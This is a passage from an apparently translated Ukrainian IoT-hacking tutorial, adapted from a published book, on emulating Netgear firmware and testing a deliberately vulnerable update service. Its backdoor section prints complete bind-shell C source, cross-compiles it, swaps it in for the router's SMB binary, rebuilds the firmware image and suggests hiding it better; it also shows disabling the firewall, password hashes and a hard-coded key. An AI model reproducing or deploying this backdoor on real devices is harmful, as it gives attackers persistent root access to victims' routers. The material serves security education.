----Unmounting QEMU Image----
loop deleted : /dev/loop0

Вказуємо ім’я тега з параметром -i і  розташування витягнутої прошивки з параметром -f.

Вам також слід налаштувати хост-пристрій таким чином, щоб він міг отримувати доступ до мережевих інтерфейсів емульованого пристрою та обмінюватися даними з ними. Отже, нам потрібно налаштувати адресу IPv4 і правильні мережеві маршрути. Скрипт inferNetwork.sh може автоматично визначати відповідні налаштування:

$ ./scripts/inferNetwork.sh 1
Querying database for architecture... Password for user firmadyne:
mipseb
Running firmware 1: terminating after 60 secs...
qemu-system-mips: terminating on signal 2 from pid 6215 (timeout)
Inferring network...
Interfaces: [('br0', '192.168.1.1')]
Done!

FIRMADYNE успішно ідентифікувала інтерфейс з адресою IPv4 192.168.1.1 в емульованому пристрої. Крім того, щоб почати емулювати та налаштувати мережеву конфігурацію хост-пристрою, скористайтеся сценарієм run.sh, який автоматично генерується в папці ./scratch/1/:

$ ./scratch/1/run.sh
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Linux version 2.6.32.70 (vagrant@vagrant-ubuntu-trusty-64) (gcc
version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
[ 0.000000]
[ 0.000000] LINUX started...
…
Please press Enter to activate this console.
tc login:admin
Password:
#

Вам має бути запропоновано ввійти в обліковий запис. Ви повинні вміти автентифікацію за допомогою набору облікових даних, виявлення яких продемонстровано в розділі «Пошук облікових даних у конфігураційних файлах».

Динамічний аналіз

Тепер ви можете використовувати прошивку так, ніби вона є вашим хост-пристроєм. Хоча ми не будемо проводити тут повний динамічний аналіз, ми дамо вам кілька ідей щодо того, з чого почати. Наприклад, ви можете вивести список файлів у  каталозі rootfs прошивки за допомогою команди ls. Оскільки ви емулювали прошивку, ви можете знайти файли, які були створені після завантаження пристрою та не існували на етапі статичного аналізу.

$ ls
bin firmadyne lost+found tmp
boaroot firmware_version proc userfs
dev lib sbin usr
etc linuxrc sys var

Перегляньте ці каталоги. Наприклад,  у каталозі etc файл /etc/passwd містить відомості про автентифікацію для систем на основі Unix. Ви можете використовувати його для перевірки існування облікових записів, які ви виявили під час статичного аналізу.

$ cat /etc/passwd
admin:$1$$I2o9Z7NcvQAKp7wyCTlia0:0:0:root:/:/bin/sh
qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwerty
uiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui:$1$$MJ7v7GdeVaM1xIZdZYKzL
1:0:0:root:/:/bin/sh
anonymous:$1$$D3XHL7Q5PI3Ut1WUbrnz20:0:0:root:/:/bin/sh

Далі важливо визначити мережеві служби та підключення, які були встановлені, оскільки ви можете визначити служби, які ви можете використовувати пізніше. Це можна зробити за допомогою команди netstat:

$ netstat -a -n -u -t
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::53 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
udp 0 0 192.168.1.1:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.1.1:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:50851 0.0.0.0:*
udp 0 0 0.0.0.0:53 0.0.0.0:*
udp 0 0 0.0.0.0:67 0.0.0.0:*
udp 0 0 :::53 :::*
udp 0 0 :::69 :::*

Параметр -a  надсилає запити до мережевих сокетів для прослуховування та непрослуховування (комбінація  IP-адреси та порту). Параметр -n  відображає IP-адреси у числовому форматі. Параметри  -u і -t  повертають сокети UDP і TCP. Вихідні дані вказують на існування HTTP-сервера на портах 80 і 443, який очікує на з’єднання.

Щоб отримати доступ до мережевих служб із хост-пристрою, вам може знадобитися вимкнути будь-які наявні реалізації мережевого брандмауера в мікропрограмі. На платформах Linux ці реалізації, як правило, базуються на iptables, утиліті командного рядка, яка дозволяє налаштувати список правил фільтрації IP-пакетів у ядрі Linux. У кожному правилі перелічено певні атрибути підключення до мережі, наприклад порт, IP-адреса джерела та IP-адреса призначення, а також дозвіл або блокування підключення до мережі за допомогою цих атрибутів. Якщо нове мережеве підключення не відповідає жодним правилам, брандмауер використовує політику за замовчуванням. Щоб вимкнути будь-який брандмауер на основі iptables, змініть політику за промовчанням, щоб дозволити всі підключення, а потім видаліть усі наявні правила за допомогою таких команд:

$ iptables --policy INPUT ACCEPT
$ iptables --policy FORWARD ACCEPT
$ iptables --policy OUTPUT ACCEPT
$ iptables -F

Тепер спробуйте перейти до IP-адреси пристрою на основі браузера, щоб отримати доступ до веб-додатку, розміщеного в прошивці (див. Малюнок 9.3).

Можливо, ви не зможете отримати доступ до всіх сторінок HTTP мікропрограми, оскільки багато з них вимагають зворотного зв’язку від спеціалізованих апаратних компонентів, таких як кнопки Wi-Fi, скидання та WPS. Цілком імовірно, що FIRMADYNE не зможе автоматично виявляти та емулювати всі ці компоненти, і в результаті HTTP-сервер може вийти з ладу. Щоб отримати доступ до певних сторінок, вам може знадобитися кілька разів перезавантажити HTTP-сервер прошивки. Ми залишаємо цю вправу для вас.

У цьому розділі ми не будемо розглядати мережеві атаки, але ви можете використовувати інформацію з розділу 4 для виявлення вразливостей у мережевому стеку та службах. Почніть з оцінки служби HTTP пристрою. Наприклад, вихідний код загальнодоступної сторінки /cgi-bin/ passrec.asp містить пароль адміністратора. Netgear опублікувала цю вразливість за адресою https://kb.netgear.com/30490/CVE-2015-8289-Authentication-Bypass-Using-an-Alternate-Path-or-Channel/.

Бекдор-ін’єкція в прошивку

Бекдор — це  програмне забезпечення, приховане всередині цільового пристрою, яке дозволяє зловмиснику отримати несанкціонований доступ до системи. У цьому розділі ми модифікуємо прошивку, додаючи крихітний бекдор, який буде запускатися при завантаженні прошивки, надаючи зловмиснику оболонку з пристрою жертви. Крім того, бекдор дозволить нам виконувати динамічний аналіз з root-правами на реальному та функціональному пристрої. Такий підхід надзвичайно корисно у випадках, коли FIRMADYNE не може правильно емулювати всі функції прошивки.

В якості бекдор-агента ми будемо використовувати просту прив’язувальну оболонку, написану Osanda Malith на C (лістинг 9.1). Цей скрипт прослуховує нові вхідні з’єднання з попередньо визначеним мережевим портом і дозволяє віддалене виконання коду. Ми додали  команду fork() до  вихідного скрипту, щоб він працював у фоновому режимі. Це створить новий дочірній процес, який одночасно працюватиме у фоновому режимі,  У той час як батьківський процес просто призупиняє свою роботу і не дає викликаної програмі зупинитися.

Лістинг коду 9.1. Модифікована версія бекдор-скрипту Osanda Malith (https:// github.com/OsandaMalith/TP-Link/blob/master/bindshell.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SERVER_PORT 9999
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
 * Bind Shell using Fork for my TP-Link mr3020 router running busybox
 * Arch : MIPS
 * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
 */
int main() {
 int serverfd, clientfd, server_pid, i = 0;
 char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n";
 char *args[] = { "/bin/busybox", "sh", (char *) 0 };
 struct sockaddr_in server, client;
 socklen_t len;
 int x = fork();
 if (x == 0){
 server.sin_family = AF_INET;
 server.sin_port = htons(SERVER_PORT);
 server.sin_addr.s_addr = INADDR_ANY;
 serverfd = socket(AF_INET, SOCK_STREAM, 0);
 bind(serverfd, (struct sockaddr *)&server, sizeof(server));
 listen(serverfd, 1);
 while (1) {
 len = sizeof(struct sockaddr);
 clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
 server_pid = fork();
 if (server_pid) {
 write(clientfd, banner, strlen(banner));
 for(; i <3 /*u*/; i++) dup2(clientfd, i);
 execve("/bin/busybox", args, (char *) 0);
 close(clientfd);
 } close(clientfd);
 }
 }
 return 0;
}

Після виконання скрипт почне прослуховування на порту 9999 і виконає будь-які вхідні дані, отримані через цей порт, як системну команду.

Щоб скомпілювати бекдор-агент, нам спочатку потрібно налаштувати компіляцію середовища. Найпростішим способом є використання часто оновлюваного набору інструментів проекту OpenWrt.

$ git clone https://github.com/openwrt/openwrt
$ cd openwrt
$ ./scripts/feeds update -a
$ ./scripts/feeds install -a
$ make menuconfig

За замовчуванням ці команди будуть компілювати прошивку для маршрутизаторів Atheros AR7 System on a Chip (SoC), які засновані на процесорах MIPS. Щоб встановити інше значення, натисніть Target System і виберіть один з доступних пристроїв Atheros AR7 (рисунок 9.4).

Далі, збережіть зміни в новому файлі конфігурації, натиснувши кнопку SAVE, і вийдіть з меню, натиснувши  кнопку  EXIT.  мал. 9.5.

Скомпілюйте набір інструментів за допомогою команди make:

$ make toolchain/install
time: target/linux/prereq#0.53#0.11#0.63
make[1] toolchain/install
make[2] tools/compile
make[3] -C tools/flock compile
…

У папці staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/OpenWrt ви знайдете компілятор mips-openwrt-linux-gcc, який можна використовувати наступним чином:

$ export STAGING_DIR="/root/Desktop/mips_backdoor/openwrt/staging_dir"
$ ./openwrt/staging_dir/toolchain-mips_24kc_gcc-8.3.0_musl/bin/mips-openwrt-linux-gcc
bindshell.c -o bindshell -static -EB -march=24kc

Ці команди мають створити двійковий файл із назвою bindshell. Перенесіть двійковий файл на емульовану прошивку за допомогою FIRMADYNE і переконайтеся, що він працює правильно. Ви можете легко зробити це, використовуючи Python для створення міні-веб-сервера в папці, де знаходиться двійковий файл:

$ python -m SimpleHTTPServer 8080 /

Потім в емульованій прошивці завантажте двійковий файл за допомогою  команди wget:

$ wget http://192.168.1.2:8080/bindshell
Connecting to 192.168.1.2[192.168.1.2]:80
bindshell 100% |*****************************| 68544 00:00 ETA
$ chmod +x ./bindshell
$ ./bindshell

Щоб переконатися, що бекдор-агент працює, спробуйте підключитися до нього з хост-пристрою на базі Netcat. Повинна з’явитися інтерактивна оболонка.

$ nc 192.168.1.1 9999
[~] Welcome to @OsandaMalith's Bind Shell
ls -l
drwxr-xr-x 2 0 0 4096 bin
drwxr-xr-x 4 0 0 4096 boaroot
drwxr-xr-x 6 0 0 4096 dev
…

У цей момент потрібно внести зміни в прошивку, щоб можна було її розповсюджувати.

Для цього ми можемо використовувати проект firmware-mod-kit з відкритим вихідним кодом. Почніть зі встановлення необхідних системних пакунків за допомогою apt-get:

$ sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
Bsdmainutils

Використовуйте  команду git, щоб завантажити застосунок з репозиторію GitHub. У цьому репозиторії розміщується форк (альтернатива) програми, оскільки оригінальна версія більше не підтримується. Папка програми містить скрипт під назвою ./extract-firmware.sh, який можна використовувати для вилучення прошивки за допомогою потужності процесу, подібного до FIRMADYNE.

$ git clone https://github.com/rampageX/firmware-mod-kit
$ cd firmware-mod-kit
$ ./extract-firmware.sh D6000-V1.0.0.41_1.0.1.bin
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Preparing tools ...
…
Extracting 1418962 bytes of header image at offset 0
Extracting squashfs file system at offset 1418962
Extracting 2800 byte footer from offset 9668730
Extracting squashfs files...
Firmware extraction successful!
Firmware parts can be found in '/root/Desktop/firmware-mod-kit/fmk/*

Щоб атака була успішною, прошивка повинна замінити існуючий двійковий файл, який запускається автоматично, гарантуючи, що будь-яке нормальне використання пристрою запускає бекдор. На етапі динамічного аналізу ми виявили такий двійковий файл, службу SMB, що працює на порту 445. Ви можете знайти виконуваний файл smbd у каталозі /userfs/ bin/smbd. Замінимо його на bindshell:

$ cp bindshell /userfs/bin/smbd

Після заміни двійкового файлу відновіть прошивку за допомогою вузла сценарію прошивки:

$ ./build-firmware.sh
firmware Mod Kit (build) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake
Building new squashfs file system... (this may take several minutes!)
Squashfs block size is 128 Kb
…
Firmware header not supported; firmware checksums may be incorrect.
New firmware image has been saved to: /root/Desktop/firmware-mod-kit/fmk/new-firmware.bin

Потім за допомогою потужності firmadyne переконайтеся, що при завантаженні прошивки  оболонка все ще працює. За допомогою netstat ви можете перевірити, що службу мікропрограм SMB, яка зазвичай очікує на нові з’єднання на порту 445, було замінено бекдор-агентом, який очікує на нові з’єднання з портом 9999:

$ netstat -a -n -u -t
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3333 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN
tcp 0 0 :::80 :::* LISTEN
tcp 0 0 :::53 :::* LISTEN
tcp 0 0 :::443 :::* LISTEN
udp 0 0 0.0.0.0:57218 0.0.0.0:*
udp 0 0 192.168.1.1:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.1.1:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:53 0.0.0.0:*
udp 0 0 0.0.0.0:67 0.0.0.0:*
udp 0 0 :::53 :::*
udp 0 0 :::69 :::*

Замість того, щоб замінювати виконуваний файл, ви можете змінити його, щоб зберегти початкову функціональність і оболонку. Це зменшить шанси користувачів виявити бекдор. Ми залишаємо вам виконати цю вправу самостійно.

Орієнтація на механізми оновлення прошивки

Механізм оновлення прошивки є важливим вектором атаки та однією з вразливостей у пристроях IoT, які увійшли до десятки ризиків за версією OWASP. Механізм оновлення мікропрограми – це процес, який завантажує нову версію мікропрограми через веб-сайт постачальника або зовнішній пристрій, наприклад USB-носій, і встановлює її, замінюючи попередню версію. Ці механізми можуть створити низку проблем безпеки. Вони часто не перевіряють прошивку або використовують незашифровані мережеві протоколи; Деякі з них не мають механізмів запобігання відкату або сповіщення кінцевого користувача про будь-які зміни безпеки, спричинені оновленням. Процес оновлення також може посилити інші проблеми в пристрої, такі як використання жорстко закодованих облікових даних, небезпечна автентифікація в хмарному компоненті, на якому розміщено прошивку, і навіть надмірно детальне та небезпечне ведення журналу.

Щоб візуалізувати всі ці проблеми, ми створили спеціальний сервіс оновлення вразливих прошивок. Ця послуга складається з емульованого пристрою IoT, який завантажує прошивку з емульованої хмарної служби оновлень. Ви можете завантажити файли для цієї вправи з веб-сайту книги за адресою https://nostarch.com/practical-iot-hacking/. Ця служба оновлення може бути включена в майбутньому як частина IoTGoat, навмисно небезпечної прошивки на основі OpenWrt, яка має на меті показати користувачам поширені вразливості в пристроях IoT. Автори цієї книги роблять свій внесок у проект.

Щоб доставити новий файл прошивки, сервер прослухає порт TCP 31337. Клієнт підключиться до сервера через цей порт і пройде аутентифікацію за допомогою заздалегідь визначеного жорстко закодованого ключа. Потім сервер надішле клієнту такі дані по порядку: довжину прошивки, хеш файлу прошивки MD5 і файл прошивки. Клієнт перевіряє цілісність файлу прошивки, порівнюючи отриманий хеш MD5 з хешем файлу прошивки, який він обчислює за допомогою того ж спільного ключа (використовувався для аутентифікації раніше). Якщо два хеші збігаються, отриманий файл прошивки записується в поточний каталог як received_firmware.gz.

Компіляція та встановлення

Хоча ви можете запустити клієнт і сервер на одному хості, в ідеалі ви повинні запускати їх на різних хостів, щоб імітувати фактичний процес оновлення. Тому ми рекомендуємо компілювати та налаштовувати ці два компоненти в різних системах Linux. У нашому прикладі використовується Kali Linux для сервера оновлень і Ubuntu для клієнта IoT, але ви зможете взяти будь-який дистрибутив Linux, якщо встановили правильні залежності.

Встановіть такі пакунки на обидві машини:

# apt-get install build-essential libssl-dev

Перейдіть до каталогу клієнта та скористайтеся файлом makefile, що входить до комплекту, щоб скомпілювати клієнтську програму, ввівши наступне:

$ make client

Ця команда повинна створити виконуваний файл клієнта в поточному каталозі. Потім скомпілюйте сервер на другому комп’ютері. Перейдіть до каталогу, де знаходяться makefile і server.c, і скомпілюйте їх, ввівши таку команду:

$ make server

Ми не будемо аналізувати код сервера, тому що при реальній оцінці безпеки ви, швидше за все, матимете доступ лише до двійкового файлу клієнта (навіть не до вихідного коду!) з файлової системи прошивки. Але в освітніх цілях давайте подивимося на вихідний код клієнта, щоб дослідити основні вразливості.

Код клієнта

Тепер давайте подивимося на код клієнта. Ця програма, написана на мові С, доступна за адресою https://nostarch.com/practical-iot-hacking/. Тут ми виділимо лише важливі частини:

#define PORT 31337
#define FIRMWARE_NAME "./received_firmware.gz"
#define KEY "jUiq1nzpIOaqrWa8R21"

Директиви #define визначають константні значення. Спочатку визначаємо порт сервера,  який буде прослуховувати служба оновлення. Далі вказуємо ім’я для отриманого файлу прошивки. Потім ми жорстко кодуємо ключ автентифікації, який вже був переданий серверу. Використання жорстко закодованих ключів становить загрозу безпеці, як ми пояснимо пізніше.

Ми розділили код функції на стороні клієнта main()  на два окремі списки для наочності. Перша частина показана в лістингу 9.2.

Лістинг коду 9.2. Перша половина  функції main()  незахищеного клієнта оновлення прошивки

int main(int argc, char **argv) {
 struct sockaddr_in servaddr;
 int sockfd, filelen, remaining_bytes;
 ssize_t bytes_received;
 size_t offset;
 unsigned char received_hash[16], calculated_hash[16];
 unsigned char *hash_p, *fw_p;
 unsigned int hash_len;
 uint32_t hdr_fwlen;
 char server_ip[16] = "127.0.0.1"; 
 FILE *file;
 if (argc > 1) 
 strncpy((char *)server_ip, argv[1], sizeof(server_ip) - 1);
 openlog("firmware_update", LOG_CONS | LOG_PID | LOG_NDELAY, LOG_LOCAL1);
 syslog(LOG_NOTICE, "firmware update process started with PID: %d", getpid());
 memset(&servaddr, 0, sizeof(servaddr)); 
 servaddr.sin_family = AF_INET;
 inet_pton(AF_INET, server_ip, &(servaddr.sin_addr));
 servaddr.sin_port = htons(PORT);
 if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
 fatal("Could not open socket %s\n", strerror(errno));
 if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr)) == -1)
 fatal("Could not connect to server %s: %s\n", server_ip, strerror(errno));
 /* отправляем ключ для аутентификации */
 write(sockfd, &KEY, sizeof(KEY)); 
 syslog(LOG_NOTICE, "Authenticating with %s using key %s", server_ip, KEY);
 /* получаем размер прошивки */
 recv(sockfd, &hdr_fwlen, sizeof(hdr_fwlen), 0); 
 filelen = ntohl(hdr_fwlen);
 printf("filelen: %d\n", filelen);

Функція main починається з визначення змінних потреб роботи з мережею і збереження значень, використовуваних у всій програмі. Ми не будемо докладно пояснювати мережну програмну частину коду і зосередимося переважно на функціональності високого рівня. Зверніть увагу на змінну server_ip, яка зберігає IP-адресу сервера як рядок C із завершальним нулем. Якщо користувач не вказує аргумент у командному рядку під час запуску клієнта, IP-адресою за промовчанням буде localhost (127.0.0.1). Інакше ми копіюємо перший аргумент argv[1] (оскільки argv[0] завжди є ім’ям файлу програми) в server_ip.

Потім відкриваємо з’єднання з системою logger та інструктуємо її, що усі повідомлення, які вона отримає в майбутньому, додаватимуться до ключового слова firmware_update, за яким слідує ідентифікатор процесу абонента, що викликає, (PID). З цього моменту кожен якщо програма викликає функцію системного журналу, вона надсилає повідомлення у файл /var/log/messages – загальний журнал активності системи, який зазвичай використовується для некритичних, неналагоджувальних повідомлень. Наступний блок коду готує сокет TCP (через дескриптор сокета sockfd) та ініціює TCP-з’єднання з сервером.

Якщо сервер прослуховує на іншому кінці, клієнт успішно виконає тристороннє квитування TCP. Потім він може почати відправку або одержання даних через сокет. Потім клієнт аутентифікується на сервері, надсилаючи значення KEY, визначене раніше. Він надсилає до системного журналу інше повідомлення, що вказує, що він намагається автентифікуватись із використанням цього ключа. Ця дія демонструє дві небезпечні практики: запис надлишкових даних до журналу та включення конфіденційної інформації до файлів журналу. Попередній секретний ключ тепер записується до журналу, до якого можуть мати доступ непривілейовані користувачі.

Ви можете дізнатися більше про ці проблеми на https://cwe.mitre.org/data/definitions/779.html та https://cwe.mitre.org/data/definitions/532.html. Після успішної аутентифікації клієнт очікує отримання довжини мікропрограмного забезпечення від сервера, зберігаючи це значення hdr_fwlen, а потім перетворює мережевий порядок байтів в порядок розміщення байтів на хості шляхом виклику ntohl. У лістингу 9.3 показано другу частину функції main.

Лістинг коду 9.3. Друга половина  функції main()  незахищеного клієнта оновлення прошивки

/* получение хеша */
 recv(sockfd, received_hash, sizeof(received_hash), 0); 
 /* получение файла */
 if (!(fw_p = malloc(filelen))) 
 fatal("недостаточно памяти для получения прошивки\n");
 remaining_bytes = filelen;
 offset = 0;
 while (remaining_bytes > 0) {
 bytes_received = recv(sockfd, fw_p + offset, remaining_bytes, 0);
 offset += bytes_received;
 remaining_bytes -= bytes_received;
#ifdef DEBUG
 printf("Получено байтов %ld\n", bytes_received);
#endif
 }
 /* проверка прошивки путем сравнения полученного и вычисленного хеша */
 hash_p = calculated_hash;
 hash_p = HMAC(EVP_md5(), &KEY, sizeof(KEY) - 1, fw_p, filelen, hash_p, &hash_len); 
 printf("вычисленный хеш: ");
 for (int i = 0; i < hash_len; i++)
 printf("%x", hash_p[i]);
 printf("\nполученный хеш: ");
 for (int i = 0; i < sizeof(received_hash); i++)
 printf("%x", received_hash[i]);
 printf("\n");
 if (!memcmp(calculated_hash, received_hash, sizeof(calculated_hash))) 
 printf("хеши совпадают\n");
 else
 fatal("хеши не совпадают\n");
 /* запись прошивки на диск */
 if (!(file = fopen(FIRMWARE_NAME, "w")))
 fatal("Не удалось открыть файл для записи %s\n", strerror(errno));
 fwrite(fw_p, filelen, 1, file); 
 syslog(LOG_NOTICE, "Прошивка успешно скачана"); 
 /*очистка */
 free(fw_p);
 fclose(file);
 close(sockfd);
 closelog();
 return 0;

Після отримання довжини мікропрограми (що зберігається в змінній filelen) клієнт отримує хеш MD5 файлу мікропрограми (зберігається в змінній received_hash). Потім, залежно від довжини мікропрограми він виділяє необхідну пам’ять у купі для отримання файлу мікропрограми. Цикл while поступово отримує файл мікропрограми з сервера та записує його у виділену пам’ять. Потім клієнт обчислює MD5-хеш файлу прошивки (calculated_hash), використовуючи попередній ключ.

З метою налагодження ми також друкуємо розраховані та отримані хеші. Якщо два хеші відповідають, клієнт створює файл у поточному каталозі, використовуючи ім’я файлу, взяте із значення FIRMWARE_NAME. Потім він вивантажує мікропрограмне забезпечення, яке було збережено в пам’яті (зазначене за допомогою fw_p), у цей файл на диску. Він відправляє останнє повідомлення до системного журналу про завершення завантаження нової прошивки, виконує деяке очищення та завершує роботу.

Запуск служби оновлення

Щоб протестувати службу оновлень, давайте спочатку запустимо сервер. Ми робимо це на хості Ubuntu з IP-адресою 192.168.10.219. Як тільки сервер починає слухати, ми запускаємо клієнт, передаючи йому IP-адресу сервера в якості першого аргументу. Запускаємо клієнт на хості Kali з IP-адресою 192.168.10.10:

root@kali:~/firmware_update# ls
client client.c Makefile
root@kali:~/firmware_update# ./client 192.168.10.219
filelen: 6665864
calculated hash: d21843d3abed62af87c781f3a3fda52d
received hash: d21843d3abed62af87c781f3a3fda52d
hashes match
root@kali:~/firmware_update# ls
client client.c Makefile received_firmware.gz

Клієнт підключається до сервера і завантажує файл прошивки. Зверніть увагу на щойно завантажений файл прошивки в поточному каталозі після завершення виконання. У наведеному нижче списку показано вихідні дані сервера. Перед запуском клієнта переконайтеся, що сервер включений.

user@ubuntu:~/fwupdate$ ./server
Listening on port 31337
Connection from 192.168.10.20
Credentials accepted.
hash: d21843d3abed62af87c781f3a3fda52d
filelen: 6665864

Зауважте, що оскільки це емульована служба, клієнт фактично не оновлює прошивку після завантаження файлу.

Уразливості служб оновлення прошивки

Давайте тепер перевіримо наявність вразливостей у цьому небезпечному механізмі оновлення прошивки.

Жорстко закодовані облікові дані

По-перше, клієнт аутентифікується на сервері за допомогою пароля, що зберігається безпосередньо в коді. Використання жорстко закодованих облікових даних (таких як паролі та криптографічні ключі) систем IoT є величезною проблемою з двох причин: по-перше, через частоту, з якою вони виявляються в пристроях IoT, і, по-друге, через наслідки зловживання ними. Жорстко закодовані облікові дані вбудовуються в двійкові файли, а не в конфігураційні файли. Таким чином,  Кінцеві користувачі або адміністратори практично не мають можливості змінювати їх без трудомісткого редагування двійкових файлів, ризикуючи їх пошкодити. Крім того, якщо зловмисники коли-небудь виявлять  жорстко закодовані  облікові дані за допомогою двійкового аналізу або зворотного інжинірингу, вони можуть потрапити в Інтернет або на підпільний ринок, що дозволить будь-кому отримати доступ до кінцевої точки. Інша проблема полягає в тому, що найчастіше ці жорстко закодовані облікові дані однакові для всіх пристроїв, навіть для різних організацій. Причина в тому, що  Що постачальникам простіше створити єдиний майстер-пароль або ключ замість унікального для кожного пристрою. У наведеному нижче списку ви можете побачити частину виведених  команд strings  для виконуваного файлу клієнта, яка показує жорстко закодований пароль (виділено):

QUITTING!
firmware_update
firmware update process started with PID: %d
Could not open socket %s
Could not connect to server %s: %s
jUiq1nzpIOaqrWa8R21
Authenticating with %s using key %s
filelen: %d
cannot allocate memory for incoming firmware
calculated hash:
received hash:
hashes match
hash mismatch
./received_firmware.gz
Can't open file for writing %s
Firmware downloaded successfully

Зловмисники також можуть виявити ключ, проаналізувавши двійковий файл сервера (який, однак, буде розміщений у хмарі, що ускладнить його злом). Як правило, клієнт знаходиться на пристрої IoT, що значно полегшує верифікацію.

Небезпечні алгоритми хешування

Сервер і клієнт покладаються на HMAC-MD5 для обчислення криптографічного хешу, який клієнт використовує для перевірки цілісності файлу прошивки. Незважаючи на те, що алгоритм дайджесту повідомлень MD5 зараз вважається зламаною і ризикованою криптографічною хеш-функцією, HMAC-MD5 не страждає від цих недоліків. HMAC — це код повідомлення автентифікації з хеш-ключем, який використовує криптографічну хеш-функцію (у цьому випадку MD5) і секретний криптографічний ключ (у цьому прикладі спільний ключ). На сьогоднішній день HMAC-MD5 не виявився вразливим до практичних атак зіткнення ключів, які є у MD5. Однак поточні найкращі практики безпеки свідчать про те, що HMAC-MD5 не слід включати в майбутні інструменти шифрування.

Незашифровані канали зв’язку

Використання незашифрованого каналу зв’язку є вразливістю високого ризику для служби оновлення. Клієнт і сервер обмінюються даними за допомогою налаштовуваного протоколу відкритого тексту через TCP. Це означає, що якщо зловмисники займуть позицію “людина посередині” в мережі, вони зможуть захопити та прочитати дані, що передаються. Сюди входить файл прошивки і ключ, який використовується для аутентифікації на сервері (мал. 9.6). Крім того, оскільки HMAC-MD5 використовує той самий криптографічний ключ, зловмисник може зловмисно змінити прошивку під час передачі та встановити в неї бекдори.

Конфіденційні файли журналу

І останнє, але не менш важливе: механізм ведення клієнтського журналу включає конфіденційну інформацію  (значення KEY) у файли журналу (у цьому випадку /var/log/messages). Ми показали точне місце, де це сталося, коли подивилися вихідний код клієнта. В цілому це не є небезпечною практикою, оскільки файли журналу зазвичай мають незахищені дозволи (часто їх може прочитати будь-хто). У багатьох випадках вивід журналу знаходиться в небезпечних областях системи IoT, таких як веб-інтерфейс, який не вимагає прав адміністратора, або дані налагодження мобільного додатку.

Висновок

У цьому розділі ми розглянули реверс-інжиніринг і дослідження прошивки. Кожен пристрій має прошивку, і хоча перспектива її аналізу спочатку здається лякаючою, ви можете легко навчитися це робити, практикуючи наведені вище методи. Злом прошивки може розширити ваші можливості захисту та забезпечує відмінні навички використання вашого набору інструментів.

Тут ви дізналися про різні способи отримання та вилучення мікропрограми. Ви емулювали один двійковий файл і всю прошивку та завантажили вразливу прошивку на пристрій. Потім вони дослідили та виявили вразливості в навмисно вразливій службі оновлення прошивки.

Щоб продовжити тестування ураженої прошивки, спробуйте OWASP IoTGoat (https://github.com/OWASP/ IoTGoat/) – ця навмисно небезпечна прошивка заснована на OpenWrt і підтримується OWASP. Або використовуйте Damn Vulnerable ARM Router (DVAR), емульований маршрутизатор ARM на базі Linux, який запускає вразливий веб-сервер (https://blog.exploitlab. net/2018/01/dvar-damn-vulnerable-arm-router.html). Ті з вас, хто хоче випробувати свої навички на недорогому (17 доларів США) фізичному пристрої, можуть спробувати Damn Vulnerable IoT Device (DVID). Це вразливий IoT-пристрій з відкритим вихідним кодом, який можна побудувати на основі дешевого мікроконтролера Atmega328p та OLED-екрану.

Ми використовували матеріали з книги “The Definitive Guide to Attacking the Internet of Things , яку  написали Фотиос Чанцис, Иоаннис Стаис,
Паулино Кальдерон, Евангелос Деирменцоглу и Бо Вудс.

Інші статті по темі
Для початківцівОсвіта
Читати далі
Частина 3. Загрози у світі речей інтернету (Методологія тестування безпеки)
В нашій частині ми докладно розберемося з основними загрозами, які можуть трапитися у світі IoT. Від вразливостей в програмному забезпеченні до фізичного доступу до пристроїв.
848
Для початківцівОсвіта
Читати далі
Частина 6. Злом мережі. (Використання мережі з нульовою конфігурацією)
Використання мережі з нульовою конфігурацією: дізнайтеся, як ефективно налаштувати та захистити вашу мережеву систему без ручних налаштувань. Поглибіть свої знання в мережевих технологіях з нашим керівництвом.
1068
Для початківцівОсвіта
Читати далі
Частина 8. Злом апаратної частини системи. (SPI та I2C)
Ми дослідимо, як ці протоколи можуть бути використані для вилучення даних з мікроконтролерів та периферійних пристроїв, а також для впливу на їхню роботу. Основний акцент буде зроблено на практичних прикладах використання SPI та I2C для розуміння та підвищення безпеки систем IoT.
946
Для початківцівОсвіта
Читати далі
Частина 11. Злом радіоканалів. (Bluetooth Low Energy)
